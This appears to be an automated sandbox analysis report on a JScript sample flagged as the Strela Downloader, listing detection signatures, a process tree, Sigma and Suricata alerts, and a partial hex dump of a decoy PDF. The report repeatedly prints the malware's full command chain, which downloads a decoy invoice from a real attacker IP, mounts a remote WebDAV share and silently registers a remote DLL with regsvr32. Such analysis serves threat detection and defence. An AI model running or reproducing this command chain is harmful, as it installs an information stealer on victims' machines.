Edit tour

Windows Analysis Report
2387315401298627745.js

Overview

General Information

Sample name:	2387315401298627745.js
Analysis ID:	1591639
MD5:	40f218c066603658ed53fa895096e1ba
SHA1:	5beab3af13aea3812a27c9832210c34db2641d39
SHA256:	9aca45871f672556c2004ba8e86866e809cc77247379690183c9b3de58620de6
Tags:	jsStrelaStealeruser-lowmal3
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6536 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2387315401298627745.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5912 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2608 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7072 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7324 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7500 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1608,i,13700895325727442349,3892302688026837991,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6412 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4684 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7392 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6536	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5912, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2608, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5912, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2608, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2387315401298627745.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2387315401298627745.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2387315401298627745.js", ProcessId: 6536, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4684, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49700

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2387315401298627745.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll, ProcessId: 5912, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2387315401298627745.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll, ProcessId: 5912, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2387315401298627745.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll, ProcessId: 5912, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2387315401298627745.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll, ProcessId: 5912, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2387315401298627745.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll, ProcessId: 5912, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2387315401298627745.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll, ProcessId: 5912, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2387315401298627745.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2387315401298627745.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2387315401298627745.js", ProcessId: 6536, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5912, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2608, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6412, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4684, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7392, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6412, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4684, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2387315401298627745.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll, ProcessId: 5912, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T08:41:06.079168+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T08:41:08.303019+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49700	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T08:41:06.079168+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49700 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49699 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Wed, 15 Jan 2025 07:41:05 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 